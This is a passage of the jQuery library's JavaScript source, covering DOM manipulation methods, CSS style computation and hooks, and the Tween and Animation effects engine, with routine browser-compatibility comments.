{ // Prevent memory leaks jQuery.cleanData( getAll( elem, false ) ); // Remove any remaining nodes elem.textContent = ""; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function() { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); } ); }, html: function( value ) { return access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined && elem.nodeType === 1 ) { return elem.innerHTML; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { value = jQuery.htmlPrefilter( value ); try { for ( ; i < l; i++ ) { elem = this[ i ] || {}; // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch ( e ) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var ignored = []; // Make the changes, replacing each non-ignored context element with the new content return domManip( this, arguments, function( elem ) { var parent = this.parentNode; if ( jQuery.inArray( this, ignored ) < 0 ) { jQuery.cleanData( getAll( this ) ); if ( parent ) { parent.replaceChild( elem, this ); } } // Force callback invocation }, ignored ); } } ); jQuery.each( { appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, ret = [], insert = jQuery( selector ), last = insert.length - 1, i = 0; for ( ; i <= last; i++ ) { elems = i === last ? this : this.clone( true ); jQuery( insert[ i ] )[ original ]( elems ); // Support: Android <=4.0 only, PhantomJS 1 only // .get() because push.apply(_, arraylike) throws on ancient WebKit push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; } ); var rmargin = ( /^margin/ ); var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); var getStyles = function( elem ) { // Support: IE <=11 only, Firefox <=30 (#15098, #14150) // IE throws on elements created in popups // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" var view = elem.ownerDocument.defaultView; if ( !view || !view.opener ) { view = window; } return view.getComputedStyle( elem ); }; ( function() { // Executing both pixelPosition & boxSizingReliable tests require only one layout // so they're executed at the same time to save the second computation. function computeStyleTests() { // This is a singleton, we need to execute it only once if ( !div ) { return; } div.style.cssText = "box-sizing:border-box;" + "position:relative;display:block;" + "margin:auto;border:1px;padding:1px;" + "top:1%;width:50%"; div.innerHTML = ""; documentElement.appendChild( container ); var divStyle = window.getComputedStyle( div ); pixelPositionVal = divStyle.top !== "1%"; // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44 reliableMarginLeftVal = divStyle.marginLeft === "2px"; boxSizingReliableVal = divStyle.width === "4px"; // Support: Android 4.0 - 4.3 only // Some styles come back with percentage values, even though they shouldn't div.style.marginRight = "50%"; pixelMarginRightVal = divStyle.marginRight === "4px"; documentElement.removeChild( container ); // Nullify the div so it wouldn't be stored in the memory and // it will also be a sign that checks already performed div = null; } var pixelPositionVal, boxSizingReliableVal, pixelMarginRightVal, reliableMarginLeftVal, container = document.createElement( "div" ), div = document.createElement( "div" ); // Finish early in limited (non-browser) environments if ( !div.style ) { return; } // Support: IE <=9 - 11 only // Style of cloned element affects source element cloned (#8908) div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; container.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;" + "padding:0;margin-top:1px;position:absolute"; container.appendChild( div ); jQuery.extend( support, { pixelPosition: function() { computeStyleTests(); return pixelPositionVal; }, boxSizingReliable: function() { computeStyleTests(); return boxSizingReliableVal; }, pixelMarginRight: function() { computeStyleTests(); return pixelMarginRightVal; }, reliableMarginLeft: function() { computeStyleTests(); return reliableMarginLeftVal; } } ); } )(); function curCSS( elem, name, computed ) { var width, minWidth, maxWidth, ret, style = elem.style; computed = computed || getStyles( elem ); // Support: IE <=9 only // getPropertyValue is only needed for .css('filter') (#12537) if ( computed ) { ret = computed.getPropertyValue( name ) || computed[ name ]; if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) { ret = jQuery.style( elem, name ); } // A tribute to the "awesome hack by Dean Edwards" // Android Browser returns percentage for some values, // but width seems to be reliably pixels. // This is against the CSSOM draft spec: // https://drafts.csswg.org/cssom/#resolved-values if ( !support.pixelMarginRight() && rnumnonpx.test( ret ) && rmargin.test( name ) ) { // Remember the original values width = style.width; minWidth = style.minWidth; maxWidth = style.maxWidth; // Put in the new values to get a computed value out style.minWidth = style.maxWidth = style.width = ret; ret = computed.width; // Revert the changed values style.width = width; style.minWidth = minWidth; style.maxWidth = maxWidth; } } return ret !== undefined ? // Support: IE <=9 - 11 only // IE returns zIndex value as an integer. ret + "" : ret; } function addGetHookIf( conditionFn, hookFn ) { // Define the hook, we'll check on the first run if it's really needed. return { get: function() { if ( conditionFn() ) { // Hook not needed (or it's not possible to use it due // to missing dependency), remove it. delete this.get; return; } // Hook needed; redefine it so that the support test is not executed again. return ( this.get = hookFn ).apply( this, arguments ); } }; } var // Swappable if display is none or starts with table // except "table", "table-cell", or "table-caption" // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display rdisplayswap = /^(none|table(?!-c[ea]).+)/, cssShow = { position: "absolute", visibility: "hidden", display: "block" }, cssNormalTransform = { letterSpacing: "0", fontWeight: "400" }, cssPrefixes = [ "Webkit", "Moz", "ms" ], emptyStyle = document.createElement( "div" ).style; // Return a css property mapped to a potentially vendor prefixed property function vendorPropName( name ) { // Shortcut for names that are not vendor prefixed if ( name in emptyStyle ) { return name; } // Check for vendor prefixed names var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), i = cssPrefixes.length; while ( i-- ) { name = cssPrefixes[ i ] + capName; if ( name in emptyStyle ) { return name; } } } function setPositiveNumber( elem, value, subtract ) { // Any relative (+/-) values have already been // normalized at this point var matches = rcssNum.exec( value ); return matches ? // Guard against undefined "subtract", e.g., when used as in cssHooks Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : value; } function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) { var i = extra === ( isBorderBox ? "border" : "content" ) ? // If we already have the right measurement, avoid augmentation 4 : // Otherwise initialize for horizontal or vertical properties name === "width" ? 1 : 0, val = 0; for ( ; i < 4; i += 2 ) { // Both box models exclude margin, so add it if we want it if ( extra === "margin" ) { val += jQuery.css( elem, extra + cssExpand[ i ], true, styles ); } if ( isBorderBox ) { // border-box includes padding, so remove it if we want content if ( extra === "content" ) { val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); } // At this point, extra isn't border nor margin, so remove border if ( extra !== "margin" ) { val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } else { // At this point, extra isn't content, so add padding val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); // At this point, extra isn't content nor padding, so add border if ( extra !== "padding" ) { val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } } return val; } function getWidthOrHeight( elem, name, extra ) { // Start with offset property, which is equivalent to the border-box value var val, valueIsBorderBox = true, styles = getStyles( elem ), isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; // Support: IE <=11 only // Running getBoundingClientRect on a disconnected node // in IE throws an error. if ( elem.getClientRects().length ) { val = elem.getBoundingClientRect()[ name ]; } // Some non-html elements return undefined for offsetWidth, so check for null/undefined // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285 // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668 if ( val <= 0 || val == null ) { // Fall back to computed then uncomputed css if necessary val = curCSS( elem, name, styles ); if ( val < 0 || val == null ) { val = elem.style[ name ]; } // Computed unit is not pixels. Stop here and return. if ( rnumnonpx.test( val ) ) { return val; } // Check for style in case a browser which returns unreliable values // for getComputedStyle silently falls back to the reliable elem.style valueIsBorderBox = isBorderBox && ( support.boxSizingReliable() || val === elem.style[ name ] ); // Normalize "", auto, and prepare for extra val = parseFloat( val ) || 0; } // Use the active box-sizing model to add/subtract irrelevant styles return ( val + augmentWidthOrHeight( elem, name, extra || ( isBorderBox ? "border" : "content" ), valueIsBorderBox, styles ) ) + "px"; } jQuery.extend( { // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity" ); return ret === "" ? "1" : ret; } } } }, // Don't automatically add "px" to these possibly-unitless properties cssNumber: { "animationIterationCount": true, "columnCount": true, "fillOpacity": true, "flexGrow": true, "flexShrink": true, "fontWeight": true, "lineHeight": true, "opacity": true, "order": true, "orphans": true, "widows": true, "zIndex": true, "zoom": true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: { "float": "cssFloat" }, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, type, hooks, origName = jQuery.camelCase( name ), style = elem.style; name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName ); // Gets hook for the prefixed version, then unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // Check if we're setting a value if ( value !== undefined ) { type = typeof value; // Convert "+=" or "-=" to relative numbers (#7345) if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { value = adjustCSS( elem, name, ret ); // Fixes bug #9237 type = "number"; } // Make sure that null and NaN values aren't set (#7116) if ( value == null || value !== value ) { return; } // If a number was passed in, add the unit (except for certain CSS properties) if ( type === "number" ) { value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); } // background-* props affect original clone's values if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { style[ name ] = "inherit"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !( "set" in hooks ) || ( value = hooks.set( elem, value, extra ) ) !== undefined ) { style[ name ] = value; } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra, styles ) { var val, num, hooks, origName = jQuery.camelCase( name ); // Make sure that we're working with the right name name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName ); // Try prefixed name followed by the unprefixed name hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks ) { val = hooks.get( elem, true, extra ); } // Otherwise, if a way to get the computed value exists, use that if ( val === undefined ) { val = curCSS( elem, name, styles ); } // Convert "normal" to computed value if ( val === "normal" && name in cssNormalTransform ) { val = cssNormalTransform[ name ]; } // Make numeric if forced or a qualifier was provided and val looks numeric if ( extra === "" || extra ) { num = parseFloat( val ); return extra === true || isFinite( num ) ? num || 0 : val; } return val; } } ); jQuery.each( [ "height", "width" ], function( i, name ) { jQuery.cssHooks[ name ] = { get: function( elem, computed, extra ) { if ( computed ) { // Certain elements can have dimension info if we invisibly show them // but it must have a current display style that would benefit return rdisplayswap.test( jQuery.css( elem, "display" ) ) && // Support: Safari 8+ // Table columns in Safari have non-zero offsetWidth & zero // getBoundingClientRect().width unless display is changed. // Support: IE <=11 only // Running getBoundingClientRect on a disconnected node // in IE throws an error. ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ? swap( elem, cssShow, function() { return getWidthOrHeight( elem, name, extra ); } ) : getWidthOrHeight( elem, name, extra ); } }, set: function( elem, value, extra ) { var matches, styles = extra && getStyles( elem ), subtract = extra && augmentWidthOrHeight( elem, name, extra, jQuery.css( elem, "boxSizing", false, styles ) === "border-box", styles ); // Convert to pixels if value adjustment is needed if ( subtract && ( matches = rcssNum.exec( value ) ) && ( matches[ 3 ] || "px" ) !== "px" ) { elem.style[ name ] = value; value = jQuery.css( elem, name ); } return setPositiveNumber( elem, value, subtract ); } }; } ); jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, function( elem, computed ) { if ( computed ) { return ( parseFloat( curCSS( elem, "marginLeft" ) ) || elem.getBoundingClientRect().left - swap( elem, { marginLeft: 0 }, function() { return elem.getBoundingClientRect().left; } ) ) + "px"; } } ); // These hooks are used by animate to expand properties jQuery.each( { margin: "", padding: "", border: "Width" }, function( prefix, suffix ) { jQuery.cssHooks[ prefix + suffix ] = { expand: function( value ) { var i = 0, expanded = {}, // Assumes a single number if not a string parts = typeof value === "string" ? value.split( " " ) : [ value ]; for ( ; i < 4; i++ ) { expanded[ prefix + cssExpand[ i ] + suffix ] = parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; } return expanded; } }; if ( !rmargin.test( prefix ) ) { jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; } } ); jQuery.fn.extend( { css: function( name, value ) { return access( this, function( elem, name, value ) { var styles, len, map = {}, i = 0; if ( jQuery.isArray( name ) ) { styles = getStyles( elem ); len = name.length; for ( ; i < len; i++ ) { map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); } return map; } return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }, name, value, arguments.length > 1 ); } } ); function Tween( elem, options, prop, end, easing ) { return new Tween.prototype.init( elem, options, prop, end, easing ); } jQuery.Tween = Tween; Tween.prototype = { constructor: Tween, init: function( elem, options, prop, end, easing, unit ) { this.elem = elem; this.prop = prop; this.easing = easing || jQuery.easing._default; this.options = options; this.start = this.now = this.cur(); this.end = end; this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); }, cur: function() { var hooks = Tween.propHooks[ this.prop ]; return hooks && hooks.get ? hooks.get( this ) : Tween.propHooks._default.get( this ); }, run: function( percent ) { var eased, hooks = Tween.propHooks[ this.prop ]; if ( this.options.duration ) { this.pos = eased = jQuery.easing[ this.easing ]( percent, this.options.duration * percent, 0, 1, this.options.duration ); } else { this.pos = eased = percent; } this.now = ( this.end - this.start ) * eased + this.start; if ( this.options.step ) { this.options.step.call( this.elem, this.now, this ); } if ( hooks && hooks.set ) { hooks.set( this ); } else { Tween.propHooks._default.set( this ); } return this; } }; Tween.prototype.init.prototype = Tween.prototype; Tween.propHooks = { _default: { get: function( tween ) { var result; // Use a property on the element directly when it is not a DOM element, // or when there is no matching style property that exists. if ( tween.elem.nodeType !== 1 || tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { return tween.elem[ tween.prop ]; } // Passing an empty string as a 3rd parameter to .css will automatically // attempt a parseFloat and fallback to a string if the parse fails. // Simple values such as "10px" are parsed to Float; // complex values such as "rotate(1rad)" are returned as-is. result = jQuery.css( tween.elem, tween.prop, "" ); // Empty strings, null, undefined and "auto" are converted to 0. return !result || result === "auto" ? 0 : result; }, set: function( tween ) { // Use step hook for back compat. // Use cssHook if its there. // Use .style if available and use plain properties where available. if ( jQuery.fx.step[ tween.prop ] ) { jQuery.fx.step[ tween.prop ]( tween ); } else if ( tween.elem.nodeType === 1 && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) { jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); } else { tween.elem[ tween.prop ] = tween.now; } } } }; // Support: IE <=9 only // Panic based approach to setting things on disconnected nodes Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { set: function( tween ) { if ( tween.elem.nodeType && tween.elem.parentNode ) { tween.elem[ tween.prop ] = tween.now; } } }; jQuery.easing = { linear: function( p ) { return p; }, swing: function( p ) { return 0.5 - Math.cos( p * Math.PI ) / 2; }, _default: "swing" }; jQuery.fx = Tween.prototype.init; // Back compat <1.8 extension point jQuery.fx.step = {}; var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/, rrun = /queueHooks$/; function raf() { if ( timerId ) { window.requestAnimationFrame( raf ); jQuery.fx.tick(); } } // Animations created synchronously will run synchronously function createFxNow() { window.setTimeout( function() { fxNow = undefined; } ); return ( fxNow = jQuery.now() ); } // Generate parameters to create a standard animation function genFx( type, includeWidth ) { var which, i = 0, attrs = { height: type }; // If we include width, step value is 1 to do all cssExpand values, // otherwise step value is 2 to skip over Left and Right includeWidth = includeWidth ? 1 : 0; for ( ; i < 4 ; i += 2 - includeWidth ) { which = cssExpand[ i ]; attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; } if ( includeWidth ) { attrs.opacity = attrs.width = type; } return attrs; } function createTween( value, prop, animation ) { var tween, collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), index = 0, length = collection.length; for ( ; index < length; index++ ) { if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { // We're done with this property return tween; } } } function defaultPrefilter( elem, props, opts ) { /* jshint validthis: true */ var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display, isBox = "width" in props || "height" in props, anim = this, orig = {}, style = elem.style, hidden = elem.nodeType && isHiddenWithinTree( elem ), dataShow = dataPriv.get( elem, "fxshow" ); // Queue-skipping animations hijack the fx hooks if ( !opts.queue ) { hooks = jQuery._queueHooks( elem, "fx" ); if ( hooks.unqueued == null ) { hooks.unqueued = 0; oldfire = hooks.empty.fire; hooks.empty.fire = function() { if ( !hooks.unqueued ) { oldfire(); } }; } hooks.unqueued++; anim.always( function() { // Ensure the complete handler is called before this completes anim.always( function() { hooks.unqueued--; if ( !jQuery.queue( elem, "fx" ).length ) { hooks.empty.fire(); } } ); } ); } // Detect show/hide animations for ( prop in props ) { value = props[ prop ]; if ( rfxtypes.test( value ) ) { delete props[ prop ]; toggle = toggle || value === "toggle"; if ( value === ( hidden ? "hide" : "show" ) ) { // Pretend to be hidden if this is a "show" and // there is still data from a stopped show/hide if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { hidden = true; // Ignore all other no-op show/hide data } else { continue; } } orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); } } // Bail out if this is a no-op like .hide().hide() propTween = !jQuery.isEmptyObject( props ); if ( !propTween && jQuery.isEmptyObject( orig ) ) { return; } // Restrict "overflow" and "display" styles during box animations if ( isBox && elem.nodeType === 1 ) { // Support: IE <=9 - 11, Edge 12 - 13 // Record all 3 overflow attributes because IE does not infer the shorthand // from identically-valued overflowX and overflowY opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; // Identify a display type, preferring old show/hide data over the CSS cascade restoreDisplay = dataShow && dataShow.display; if ( restoreDisplay == null ) { restoreDisplay = dataPriv.get( elem, "display" ); } display = jQuery.css( elem, "display" ); if ( display === "none" ) { if ( restoreDisplay ) { display = restoreDisplay; } else { // Get nonempty value(s) by temporarily forcing visibility showHide( [ elem ], true ); restoreDisplay = elem.style.display || restoreDisplay; display = jQuery.css( elem, "display" ); showHide( [ elem ] ); } } // Animate inline elements as inline-block if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) { if ( jQuery.css( elem, "float" ) === "none" ) { // Restore the original display value at the end of pure show/hide animations if ( !propTween ) { anim.done( function() { style.display = restoreDisplay; } ); if ( restoreDisplay == null ) { display = style.display; restoreDisplay = display === "none" ? "" : display; } } style.display = "inline-block"; } } } if ( opts.overflow ) { style.overflow = "hidden"; anim.always( function() { style.overflow = opts.overflow[ 0 ]; style.overflowX = opts.overflow[ 1 ]; style.overflowY = opts.overflow[ 2 ]; } ); } // Implement show/hide animations propTween = false; for ( prop in orig ) { // General show/hide setup for this element animation if ( !propTween ) { if ( dataShow ) { if ( "hidden" in dataShow ) { hidden = dataShow.hidden; } } else { dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } ); } // Store hidden/visible for toggle so `.stop().toggle()` "reverses" if ( toggle ) { dataShow.hidden = !hidden; } // Show elements before animating them if ( hidden ) { showHide( [ elem ], true ); } /* jshint -W083 */ anim.done( function() { // The final step of a "hide" animation is actually hiding the element if ( !hidden ) { showHide( [ elem ] ); } dataPriv.remove( elem, "fxshow" ); for ( prop in orig ) { jQuery.style( elem, prop, orig[ prop ] ); } } ); } // Per-property setup propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); if ( !( prop in dataShow ) ) { dataShow[ prop ] = propTween.start; if ( hidden ) { propTween.end = propTween.start; propTween.start = 0; } } } } function propFilter( props, specialEasing ) { var index, name, easing, value, hooks; // camelCase, specialEasing and expand cssHook pass for ( index in props ) { name = jQuery.camelCase( index ); easing = specialEasing[ name ]; value = props[ index ]; if ( jQuery.isArray( value ) ) { easing = value[ 1 ]; value = props[ index ] = value[ 0 ]; } if ( index !== name ) { props[ name ] = value; delete props[ index ]; } hooks = jQuery.cssHooks[ name ]; if ( hooks && "expand" in hooks ) { value = hooks.expand( value ); delete props[ name ]; // Not quite $.extend, this won't overwrite existing keys. // Reusing 'index' because we have the correct "name" for ( index in value ) { if ( !( index in props ) ) { props[ index ] = value[ index ]; specialEasing[ index ] = easing; } } } else { specialEasing[ name ] = easing; } } } function Animation( elem, properties, options ) { var result, stopped, index = 0, length = Animation.prefilters.length, deferred = jQuery.Deferred().always( function() { // Don't match elem in the :animated selector delete tick.elem; } ), tick = function() { if ( stopped ) { return false; } var currentTime = fxNow || createFxNow(), remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), // Support: Android 2.3 only // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497) temp = remaining / animation.duration || 0, percent = 1 - temp, index = 0, length = animation.tweens.length; for ( ; index < length ; index++ ) { animation.tweens[ index ].run( percent ); } deferred.notifyWith( elem, [ animation, percent, remaining ] ); if ( percent < 1 && length ) { return remaining; } else { deferred.resolveWith( elem, [ animation ] ); return false; } }, animation = deferred.promise( { elem: elem, props: jQuery.extend( {}, properties ), opts: jQuery.extend( true, { specialEasing: {}, easing: jQuery.easing._default }, options ), originalProperties: properties, originalOptions: options, startTime: fxNow || createFxNow(), duration: options.duration, tweens: [], createTween: function( prop, end ) { var tween = jQuery.Tween( elem, animation.opts, prop, end, animation.opts.specialEasing[ prop ] || animation.opts.easing ); animation.tweens.push( tween ); return tween; }, stop: function( gotoEnd ) { var index = 0, // If we are going to the end, we want to run all the tweens // otherwise we skip this part length = gotoEnd ? animation.tweens.length : 0; if ( stopped ) { return this; } stopped = true; for ( ; index < length ; index++ ) { animation.tweens[ index ].run( 1 ); } // Resolve when we played the last frame; otherwise, reject if ( gotoEnd ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); deferred.resolveWith( elem, [ animation, gotoEnd ] ); } else { deferred.rejectWith( elem, [ animation, gotoEnd ] ); } return this; } } ), props = animation.props; propFilter( props, animation.opts.specialEasing ); for ( ; index < length ; index++ ) { result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); if ( result ) { if ( jQuery.isFunction( result.stop ) ) { jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = jQuery.proxy( result.stop, result ); } return result; } } jQuery.map( props, createTween, animation ); if ( jQuery.isFunction( animation.opts.start ) ) { animation.opts.start.call( elem, animation ); } jQuery.fx.timer( jQuery.extend( tick, { elem: elem, anim: animation, queue: animation.opts.queue } ) ); // attach callbacks from options return animation.progress( animation.opts.progress ) .done( animation.opts.done, animation.opts.complete ) .fail( animation.opts.fail ) .always( animation.opts.always ); } jQuery.Animation = jQuery.extend( Animation, { tweeners: { "*": [ function( prop, value ) { var tween = this.createTween( prop, value ); adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); return tween; } ] }, tweener: function( props, callback ) { if ( jQuery.isFunction( props ) ) { callback = props; props = [ "*" ]; } else { props = props.match( rnotwhite ); } var prop, index = 0, length = props.length; for ( ; index < length ; index++ ) { prop = props[ index ]; Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; Animation.tweeners[ prop ].unshift( callback ); } }, prefilters: [ defaultPrefilter ], prefilter: function( callback, prepend ) { if ( prepend ) { Animation.prefilters.unshift( callback ); } else { Animation.prefilters.push( callback ); } } } ); jQuery.speed = function( speed, easing, fn ) { var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { complete: fn || !fn && easing || jQuery.isFunction( speed ) && speed, duration: speed, easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing }; // Go to the end state if fx are off or if document is hidden if ( jQuery.fx.off || document.hidden ) { opt.duration = 0; } else { opt.duration = typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default; } // Normalize opt.queue - true/undefined/null -> "fx" if ( opt.queue == null || opt.queue === true ) { opt.queue = "fx"; } // Queueing opt.old = opt.complete; opt.complete = function() { if ( jQuery.isFunction( opt.old ) ) { opt.old.call( this ); } if ( opt.queue ) { jQuery.dequeue( this, opt.queue ); } }; return opt; }; jQuery.fn.extend( { fadeTo: function( speed, to, easing, callback ) { // Show any hidden elements after setting opacity to 0 return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show() // Animate to the value specified .end().animate( { opacity: to }, speed, easing, callback ); }, animate: function( prop, speed, easing, callback ) { var empty = jQuery.isEmptyObject( prop ), optall = jQuery.speed( speed, easing, callback ), doAnimation = function() { // Operate on a copy of prop so per-property easing won't be lost var anim = Animation( this, jQuery.extend( {}, prop ), optall ); // Empty animations, or finishing resolves immediately if ( empty || dataPriv.get( this, "finish" ) ) { anim.stop( true ); } }; doAnimation.finish = doAnimation; return empty || optall.queue === false ? this.each( doAnimation ) : this.queue( optall.queue, doAnimation ); }, stop: function( type, clearQueue, gotoEnd ) { var stopQueue = function( hooks ) { var stop = hooks.stop; delete hooks.stop; stop( gotoEnd ); }; if ( typeof type !== "string" ) { gotoEnd = clearQueue; clearQueue = type; type = undefined; } if ( clearQueue && type !== false ) { this.queue( type || "fx", [] ); } return this.each( function() { var dequeue = true, index = type != null && type + "queueHooks", timers = jQuery.timers, data = dataPriv.get( this ); if ( index ) { if ( data[ index ] && data[ index ].stop ) { stopQueue( data[ index ] ); } } else { for ( index in data ) { if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { stopQueue( data[ index ] ); } } } for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && ( type == null || timers[ index ].queue === type ) ) { timers[ index ].anim.stop( gotoEnd ); dequeue = false; timers.splice( index, 1 ); } } // Start the next in the queue if the last step wasn't forced. // Timers currently will call their complete callbacks, which // will dequeue but only if they were gotoEnd. if ( dequeue || !gotoEnd ) { jQuery.dequeue( this, type ); } } ); }, finish: function( type ) { if ( type !== false ) { type = type || "fx"; } return this.each( function() { var index, data = dataPriv.get( this ), queue = data[ type + "queue" ], hooks = data[ type + "queueHooks" ], timers = jQuery.timers, length = queue ? queue.length : 0; // Enable finishing flag on private data data.finish = true; // Empty the queue first jQuery.queue( this, type, [] ); if ( hooks && hooks.stop ) { hooks.stop.call( this, true ); } // Look for any active animations, and finish them for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && timers[ index ].queue === type ) { timers[ index ].anim.stop( true ); timers.splice( index, 1 ); } } // Look for any animations in the old queue and finish them for ( index = 0; index < length; index++ ) { if ( queue[ index ] && queue[ index ].finish ) { queue[ index ].finish.call( this ); } } // Turn off finishing flag delete data.finish; } ); } } ); jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) { var cssFn = jQuery.fn[ name ]; jQuery.fn[ name ] = function( speed, easing, callback ) { return speed == null || typeof speed === "boolean" ? cssFn.apply( this, arguments ) : this.animate( genFx( name, true ), speed, easing, callback ); }; } ); // Generate shortcuts for custom animations jQuery.each( { slideDown: genFx( "show" ), slideUp: genFx( "hide" ), slideToggle: genFx( "toggle" ), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" } }, function( name, props ) { jQuery.fn[ name ] = function( speed, easing, callback ) { return this.animate( props, speed, easing, callback ); }; } ); jQuery.timers = []; jQuery.fx.tick = function() { var timer, i = 0, timers = jQuery.timers; fxNow = jQuery.now(); for ( ; i < timers.length; i++ ) { timer = timers[ i ]; // Checks the timer has not already been removed if ( !timer() && timers[ i ] === timer ) { timers.splice( i--, 1 ); } } if ( !timers.length ) { jQuery.fx.stop(); } fxNow = undefined; }; jQuery.fx.timer = function( timer ) { jQuery.timers.push( timer ); if ( timer() ) { jQuery.fx.start(); } else { jQuery.timers.pop(); } }; jQuery.fx.interval = 13; jQuery.fx.start = function() { if ( !timerId ) { timerId = window.requestAnimationFrame ? window.requestAnimationFrame( raf ) : window.setInterval( jQuery.fx.tick, jQuery.fx.interval ); } }; jQuery.fx.stop = function() { if ( window.cancelAnimationFrame ) { window.cancelAnimationFrame( timerId ); } else { window.clearInterval( timerId ); } timerId = null; }; jQuery.fx.speeds = { slow: 600, fast: 200, // Default speed _default: 400 }; // Based off of the plugin by Clint Helfers, with permission. // https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/ jQuery.fn.delay = function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = window.setTimeout( next, time ); hooks.stop = function() { window.clearTimeout( timeout ); }; } ); }; ( function() { var input = document.createElement( "input" ), select = document.createElement( "select" ), opt = select.appendChild( document.createElement( "option" ) ); input.type = "checkbox"; // Support: Android <=4.3 only // Default value for a checkbox should be "on" support.checkOn = input.value !== ""; // Support: IE <=11 only // Must access selectedIndex to make default options select support.optSelected = opt.selected; // Support: IE <=11 only // 